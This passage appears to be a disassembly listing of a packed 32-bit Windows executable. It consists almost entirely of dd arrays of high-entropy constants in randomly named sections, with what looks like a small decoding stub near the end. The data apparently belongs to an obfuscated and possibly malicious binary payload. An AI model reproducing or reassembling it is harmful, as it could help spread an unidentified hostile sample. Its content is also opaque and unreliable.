92EA870Bh, 0CCCE5BDEh, 15ACA8Eh, 4F8E08E6h, 1BA8BD8Dh dd 0CB9243ABh, 19180783h, 9FA1E1A4h, 66F8493h, 6A4C79E5h dd 0B59D4635h, 65560B4Ah, 5F523DE4h, 5DAC5887h, 0B3176B59h dd 0CF9654CCh, 3BD430C6h, 0AC63D2BBh, 0B413BCA7h, 0B869591Ch dd 5B4DDEC6h, 0B3051A9Eh, 4D5722D2h, 0D87DB767h, 474B4FEh dd 0A0419CF5h, 7584AFB1h, 0E1BF60F7h, 0CA409912h, 0B7F3E54Eh dd 97C334DEh, 7839C5C7h, 3B75C2E8h, 3944BE92h, 638AC582h dd 681C37B4h, 39478C22h, 6CFDCE9Bh, 8E3118E3h, 0E54C1E46h dd 0D5F71227h, 0C8588C40h, 1E3B60C5h, 3A7A5F02h, 0E1B8D2FEh dd 0A0D3386Dh, 70BB95D1h, 14868AF6h, 32BC46B0h, 1943B77Ah dd 4D6C4D55h, 53E66687h, 475CDF19h, 0C0B0DBBFh, 9A4D525h dd 0ACDF5F32h, 8EC39E51h, 56F98F9Fh, 6BB42EB2h, 6B9294ADh dd 19DE7B4Dh, 0E9DFB028h, 83AC5C1h, 0B58E1E9Fh, 9D500E74h dd 5A9E2938h, 0DF226AB5h, 0B202F284h, 596BE1B6h, 0B72EDF0Ch dd 833B4940h, 778978AFh, 0F44E5DBh, 0A6F922Fh, 6AECD788h dd 0BDBFFAA2h, 0F5F82C12h, 56C1A143h, 5073214Dh, 6047883Bh dd 62290Fh, 0E9F9495Ah, 0B60565A6h, 7EAF09C9h, 0EB149C20h dd 36371838h, 0ECB8FB98h, 78A2A02Dh, 0D9B6EE2Dh, 1F3C9B2Fh dd 0B149D8F7h, 0FFDCA1B9h, 0EADEBE0Bh, 8E59B740h, 0E0CF387Ch dd 3142C185h, 65D906C9h, 1DB94473h, 5A9D3182h, 0A9B63ECDh dd 6BCD2DFFh, 0F9045F25h, 0BC05631Eh, 0F55BB3F6h, 0AA8E1AF0h dd 20E77E7Fh, 0A48D7D37h, 380h dup(0) wto1jq8f ends ; Section 5. (virtual address 00031000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00031000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read ye01sm84 segment para public 'DATA' use32 assume cs:ye01sm84 ;org 431000h dd 0A3C8F50Bh, 59FD933Fh, 1F83EFE2h, 1D4CAC77h, 7CD27076h dd 7D7BD92h, 6382AB1Bh, 1A0381C6h, 8F0B1259h, 76ED8C1Bh dd 11EAB085h, 42069547h, 30CC443Ch, 0B129A71Dh, 6BF4433Ch dd 0A1644FEAh, 0DEA82B89h, 220EAE41h, 0EB0B0510h, 142FACFDh dd 0C80DABFFh, 1F10D2F7h, 1ED6F510h, 2B3F4148h, 685D725h dd 1465CE7Dh, 0D62A593Bh, 113D7021h, 0BE3B38A4h, 30AE4161h dd 16B20D94h, 97F77E76h, 1DAA97F5h, 9B901D61h, 19181DBBh dd 26A0BD02h, 7898966Fh, 4C4A101Bh, 0E3A2F18Ah, 5673DA87h dd 0F261DDFAh, 281AB7BFh, 0D257EDBAh, 57C8C3h, 47BD1DC8h dd 9B823EA7h, 167EC959h, 0A5304C3Fh, 0A712A4C1h, 0A8733B30h dd 347CC63h, 96003E32h, 0C32AA8D7h, 8FB7D3A5h, 6D833CAEh dd 0DA840341h, 0A07073A5h, 0D1F0F55Fh, 0F58F9941h, 1E1A828Dh dd 6D2AF704h, 6BE1045Bh, 9570875Fh, 8844E686h, 0E9619D94h dd 4158CD08h, 0F6FD3E70h, 80A2F45Ch, 0C27CA0Dh, 51C81EA6h dd 0E46899C9h, 0B3FD573Dh, 40DE87B4h, 0E385BF75h, 76403A3h dd 0CC3A46E2h, 684B6A92h, 31194217h, 0D2D54C7Fh, 85D96B8Ah dd 7442A122h, 0F1441BCFh, 426B7963h, 8185462Eh, 59656801h dd 0F5A18475h, 0DD630167h, 0E3BE912Fh, 8B260AEEh, 0E840CD4Dh dd 1589B8C5h, 9886C98Ah, 0EB7B4C2Eh, 6357F18Ch, 0CF14F502h dd 0B57F8E1Dh, 4A3A882h, 5246691Bh, 0EF8E9EDEh, 7D7F6B0Bh dd 0E1F00277h, 37272ECAh, 0EA7DB101h, 0BDCD28B3h, 0EF28C99h dd 8A1B5652h, 3398DEE1h, 838520C3h, 2148199Eh, 0EE939C9Bh dd 426DBF94h, 0AB349474h, 0AD21591Bh, 84CFB894h, 4E49D392h dd 58E7A2E7h, 0E122C00Bh, 27B286FDh, 2E291922h, 0BFF550DBh dd 4B80A4C0h, 0C3CBC19Bh, 0F112922Ch, 0DD559AE3h, 1751379Bh dd 254DB04Bh, 67E02A8Bh, 4CD000ABh, 0FFB88249h, 0BD1AF141h dd 9A052B1Ch, 9BB596B0h, 0D5404D1Eh, 59B23C3Fh, 9F8AAD63h dd 9A3A890Bh, 5DC2EC42h, 0F144244Bh, 8BD8157h, 0AA21E58Dh dd 8D7C3FEh, 0EC4ECA24h, 0BB76D133h, 0E23BA82h, 52F91979h dd 72B7E0F8h, 0EF86AB6Ch, 0BDAC8568h, 11B80528h, 0BEE1A67Bh dd 0A5635FCh, 79B1B48Eh, 2FC850D0h, 8AE41C7Eh, 0B51D324Fh dd 0F8D38695h, 70DF5F1Ah, 0BC3709DEh, 83210CD8h, 2BD510F9h dd 0FE98EE49h, 7CBA260Ch, 52B6EC7Ah, 70C68E6Ch, 66850A64h dd 60813D9Eh, 72824A5Bh, 787CC51Bh, 9CD3A909h, 0A4C2DFADh dd 70E1C2FBh, 28B5469Eh, 63EC5Bh, 45BC0A0Ah, 6F6B440Fh dd 68F370C8h, 74F44F1h, 20BEF184h, 0C0B42E47h, 0F9FB8F29h dd 351CA072h, 0A93E0226h, 308571Fh, 0C4881E8Ch, 0CE2BFB73h dd 0AF42BF35h, 6E2CF24h, 7F5A6F89h, 0FE5F788Eh, 0DFCC55h dd 0CD72B602h, 61735620h, 77E09819h, 6D3F275Bh, 0A6AC4FFFh dd 1AFEF7BCh, 6DE6FD49h, 2BD5FDAAh, 0FDAB4AFEh, 0DD181ACDh dd 35EA4245h, 8B4F2FBFh, 0D0584A98h, 4AD47FE4h, 81767565h dd 5AA5C42Dh, 0FB01261Ch, 452AAF8Dh, 0B164A75Eh, 0A13CB7AFh dd 0DB14E38Dh, 0AA3087E7h, 860897A6h, 0B12E605Dh, 13B1FBBEh dd 3F54BCh, 1F89F90Ah, 5DF49C6Ch, 3D24ACDh, 0D301E43Dh dd 0BDD74E26h, 3137C780h, 0B6C3F51Eh, 8D0E4829h, 678E3E81h dd 21C5CF9Bh, 0E636AC9Ah, 2154DBB8h, 9E91A75Ch, 62E690B2h dd 73FCA04Fh, 0E1D4210Eh, 686CDBCEh, 3C45E4E4h, 0F5E725C4h dd 0BD640735h, 0B61E2759h, 3D435E6Ch, 572C5896h, 48D2174h dd 305DDF9h, 0B1C0D5B1h, 0E10043FDh, 0F50B516Dh, 0B54F2462h dd 839E2122h, 0B63E5EE1h, 0E2F4AF8Fh, 0CD161619h, 8F8C432Dh dd 2C13F31Bh, 9A0A099Ch, 7B26E1D5h, 0CFEFCCEFh, 76A28B30h dd 16F259B3h, 5C2260B5h, 1B496D29h, 93486907h, 8855E616h dd 0C24A23CAh, 26096355h, 0A27721CBh, 0D60B8209h, 56B6E429h dd 0B76D4CCEh, 0E6C28ED9h, 85FF08D8h, 0EA48C004h, 11468D55h dd 365DEDBFh, 78E57FC7h, 0DD355B1Ch, 2318E7Fh, 9B27C6CFh dd 3DEA4846h, 49EFA9A5h, 47A74AF4h, 74844EACh, 0F563F4DBh dd 0E4E35B67h, 0A3796CCAh, 843FCCF1h, 238FD831h, 0AC919249h dd 78C5EF99h, 35CE946h, 41EC7E51h, 0A070E483h, 5E5B6DBAh dd 1E0DDE3Dh, 85BE24ABh, 72717760h, 23B5BC87h, 0DCABEB9Fh dd 353C8D54h, 8E665811h, 0EE5121F7h, 4E251CEFh, 9BCDBCF1h dd 46C9D03Eh, 0AADCF32Dh, 7EE59323h, 744FF4E5h, 0CE3709B5h dd 0D541DCEBh, 5459162Eh, 0DE5908B1h, 83D07C7Fh, 3BBB6512h dd 0DBE76DCFh, 0B7A27EC4h, 0B8EE8FF6h, 4987CB18h, 1AFC32DCh dd 979188C9h, 6ED532B8h, 34FFCA4Eh, 0D0E9DFF8h, 36E740C7h dd 6507507Fh, 5DDC8627h, 0DAB62D76h, 0F54C9243h, 2A7CB050h dd 21A77C90h, 0BCC8C2A0h, 67E4844h, 137BC3E2h, 0B76D300Ch dd 0D434BF21h, 0A72409DDh, 0A6D8CEA3h, 5E17888Ch, 0ED560BACh dd 33C83C42h, 83A3886Eh, 77FE687Ah, 4DDC60E2h, 0AF1026B2h dd 68D768EDh, 468F9AF4h, 8DFD936Ch, 924B6737h, 94789EFEh dd 613AA95Ah, 441FA47h, 7A7A17A9h, 0EADE32C5h, 0BA368128h dd 96293D3h, 5BB5AACCh, 63A0C938h, 4EC6FE9Dh, 0FFC89B9Ah dd 0B08F1EE4h, 29443885h, 0E625ABCBh, 27FD64ECh, 0D58EE326h dd 0B0467843h, 37910629h, 2D6AD64Ah, 2F88CE3Eh, 11E91075h dd 6AA37D03h, 0A72A577Bh, 0EFAEC225h, 11585964h, 0EB205CB3h dd 3D4B35DBh, 0C53DDE46h, 282DB3E5h, 1C1DCD74h, 0BF59B903h dd 44454D88h, 665B2549h, 661069BBh, 0F45EF901h, 863F54A7h dd 3E15B216h, 1A41801Dh, 46028E05h, 0A6A8BC50h, 85599513h dd 5F1E3DC0h, 0C4A31533h, 0E64989DDh, 842DECAAh, 6968CA3Ah dd 96B75904h, 3D84133Eh, 0A57C9A2Dh, 5C2BF743h, 50BCEA3Fh dd 9F5BB31h, 0D2FB46A0h, 29B9AC90h, 178765FDh, 0DF606BC5h dd 444AC5CAh, 2AFFCEBCh, 0C46BFC2h, 47CCF30Fh, 388A656Ah dd 2D3C829Dh, 2EF2C4B0h, 0D8D11C82h, 0DA968C98h, 1676A681h dd 0BBF88E4Fh, 0D710D462h, 0E498DC4Bh, 0C18610BCh, 0BF5B96BAh dd 46C1D70Fh, 8252A59Ch, 6289576h, 8B429D53h, 696019D4h dd 82C50869h, 0F1881273h, 0E78DD6C5h, 640AE31Ah, 6A234D64h dd 95B97BE7h, 9F669E63h, 88F051D3h, 621D5B6Bh, 9F85EF6Dh dd 0C17253E5h, 4778D059h, 0E388CEF7h, 0DB9D50A6h, 56B6CE92h dd 0D77C54A9h, 300BE15Ch, 0D2D1A576h, 41102766h, 7A3A80ECh dd 0E80DB9A1h, 530D466Dh, 203A0420h, 0BC6DEF3Eh, 525B131Dh dd 9654566Eh, 24873C48h, 38446945h, 0D7A9B4E2h, 4252A8EDh dd 0D440B282h, 74632CDAh, 8E282388h, 0E8F2AEA2h, 550A93A3h dd 8655D3D3h, 0CB10F8A9h, 0B0545F82h, 2CADECF0h, 0B4C45C85h dd 0EDD3425Ch, 0F901A1A8h, 0BF5BF96Ch, 999C405h, 9B8F9A64h dd 0DBA5FEF1h, 6DD9D83Fh, 179BF794h, 3F1CAC1Ah, 6AF49472h dd 9D45A7Bh, 0A263325h, 62A896h, 1C32EDF8h, 0F48C3C9Fh dd 975E32EAh, 11348CAEh, 1D32B5F3h, 36F0E1BBh, 7C025318h dd 0D1C66834h, 0BE33D5CFh, 4D9EAC1Eh, 0D6B4983Bh, 276DCE83h dd 0E87609h, 58000000h, 53515756h, 241C8B50h, 0FB9BEB81h dd 0DAB80043h, 5000005Eh, 68046Ah, 50000010h, 0C4B8006Ah dd 8B004270h, 0D0FF1804h, 718CBA59h, 0DA010043h, 89505352h dd 0FCD689C7h, 8B9A4F3h, 1004370h, 58D1FFD9h, 68241C8Bh dd 8000h, 0B850006Ah, 4270C8h, 0FF18048Bh, 5B5859D0h, 0C605EB83h dd 8943B803h dd 4C38303h, 9C303C6h, 894674C9h, 0A0E8C3h, 0ADFC0000h dd 74FFF883h, 0CB895338h, 0B01C301h, 0AC04C383h, 773FE3Ch dd 0FF25h, 81EDEB00h, 0FEC3h, 7AC00900h, 25AD6609h, 0FFFFh dd 4EADDAEBh, 0FFFFFF25h, 0FFFF3D00h, 0CC7500FFh, 5F595B58h dd 0EF5EC35Eh, 3DDE74D6h, 0BB341C3h, 9934C764h, 0E26B394Bh dd 0C09FF59h, 0EB08B3C2h, 736F810Fh, 0FD51BB39h, 54542F6Eh dd 0B2C83ACEh, 4128ED3Dh, 8F4423C2h, 3BCDC12Ch, 574A16C1h dd 0A52781E9h, 8301BEBEh, 0F7E8AE62h, 5FFFFFEh, 7AF1h dd 0EBE8E0FFh, 5FFFFFEh, 5249h, 4E8E0FFh, 0FF000000h, 5EFFFFFFh dd 497400C3h, 0C210D8DAh, 7BFE75EDh, 0C2B6C27h, 0DA072069h dd 47E85176h, 0BFD33C0Fh, 0E293BE74h, 0B4212B94h, 0D95C51C7h dd 419CEECDh, 343D4F94h, 35C711E2h, 30E70D74h, 0B572ADF1h dd 0C17856A6h, 0C8C0D37Bh, 0D8CDD327h, 72FE479Fh, 0CD052ECh dd 0ACEC781Dh, 0D3F9FBB3h, 8AFCE833h, 0CB416BCAh, 0B62F484Ch dd 0F8EC512Ch, 6C6B801Dh, 0ED52BCB8h, 79AF91A0h, 0BCB6A86Eh dd 45380A36h, 0EB38D0Bh, 0ADDF6B2Eh, 1F5CCE4Fh, 0D32D2B8Dh dd 0C7422F6Fh, 0D3E8FD07h, 95F72987h, 6404D88Bh, 581C4AAEh dd 6AC9EA6Dh, 0C013C52h, 83F0D23h, 23A815C2h, 0FB8C7CF5h dd 62523068h, 0F5F0A447h, 213A6112h, 20E1A416h, 17788EEAh dd 2385C81Bh, 0F600BAF2h, 7EDE0793h, 0EE8FAD3h, 2F0DA76Ah dd 0C5F7F7D9h, 3690CC91h, 803C952Dh, 62B8F38Fh, 9EE0A32Ah dd 0B27D552Fh, 0F12DB1E2h, 3912899Fh, 4200BCFEh, 0DD09240Ah dd 76C1D916h, 17F01DC2h, 0A58CEBC1h, 0EA078885h, 75B70B61h dd 3E9C4940h, 0EA84171Ch, 0BC3DA10Fh, 3689E5E8h, 0EBFF6D4Eh dd 4A67D4FFh, 9A9EC098h, 8C2FBD8Bh, 0FBF6A268h, 5E670667h dd 8426A3A9h, 28427824h, 48B5C68Ah, 70985DEBh, 5FA9AE76h dd 9B9E5309h, 4AC1D5C5h, 0DCFD3963h, 28478893h, 2DE94FA1h dd 0B492579Ah, 5BAD0D6h, 0A0787134h, 3E308DF8h, 0B8600F5Eh dd 0B78D8FD1h, 1B5CFF5h, 0AE5A9940h, 0EBA1D2DDh, 6708899Bh dd 0AF74708Dh, 0EC5FDF8Ch, 660707B4h, 0B60D2737h, 0DDC95AA7h dd 0FA5A5ED0h, 8F945779h, 88A04DEAh, 0B1DBC5F5h, 0F5A1FA8Eh dd 59C4C60Eh, 4010627h, 3C53A9CCh, 4C866B6Fh, 36587B59h dd 0A606D6D1h, 8BB3C88Dh, 324ED55Ch, 5F769765h, 2D3BB5AAh dd 0D08E71B7h, 40F1DC1Eh, 0B3D89ECEh, 0F3393468h, 9E9166D6h dd 39F3C995h, 2F9161D9h, 6D1A6A11h, 7900FA2Bh, 4256A1D9h dd 474F615Eh, 28CE8E78h, 3B970DE9h, 49F495B0h, 291A50FFh dd 258590Eh, 6A5114F1h, 0D28D2F9Bh, 246880ADh, 8E9E093Eh dd 0D6094216h, 86B41173h, 4D9C1748h, 0A0B8C323h, 76D3CE16h dd 0FDBEEE3Bh, 0B7E68827h, 0F060F470h, 0AA456791h, 5DCC4D34h dd 0B3FDFB35h, 0D0806CBCh, 48E0898Bh, 3777EAA1h, 0EB09E469h dd 0E99FB6A9h, 0DDABD452h, 6EA1873Dh, 3D8A2463h, 8BF57787h dd 0EF1FD2C7h, 14B429BEh, 157B431Ah, 0E613DBFBh, 0F3085E33h dd 0B39F44A9h, 5ED3E4F0h, 8BE576B5h, 0F3FB77AFh, 1EA9DF36h dd 0E843F7B1h, 0FB85C99Ah, 5FC99505h, 0D6914880h, 0FF0FDB40h dd 990975E0h, 6B96F5F1h, 2C7AAEECh, 93F6BA75h, 9F5908B1h dd 0AF8173BCh, 0FB46487Fh, 203F45E2h, 15622314h, 0E2A0F935h dd 81B815B8h, 9C6B9E15h, 196CF08Ah, 987CEBCAh, 0FA8AA30h dd 3631C67Bh, 0FC7839C5h, 84F6C986h, 3FC802A6h, 0DBEA483Ch dd 86E0DD2Eh, 0EDFAF771h, 2B974BFBh, 5FB9C549h, 22534F78h dd 0DBE5DA78h, 200DE1BAh, 22394CD6h, 6DC4264Ah, 8951B948h dd 995A5198h, 0E4B98D49h, 0FABE6297h, 1318282h, 100h dup(0) ye01sm84 ends ; Section 6. (virtual address 00032000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00032000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 432000h dd 80h dup(0) align 1000h _idata2 ends end start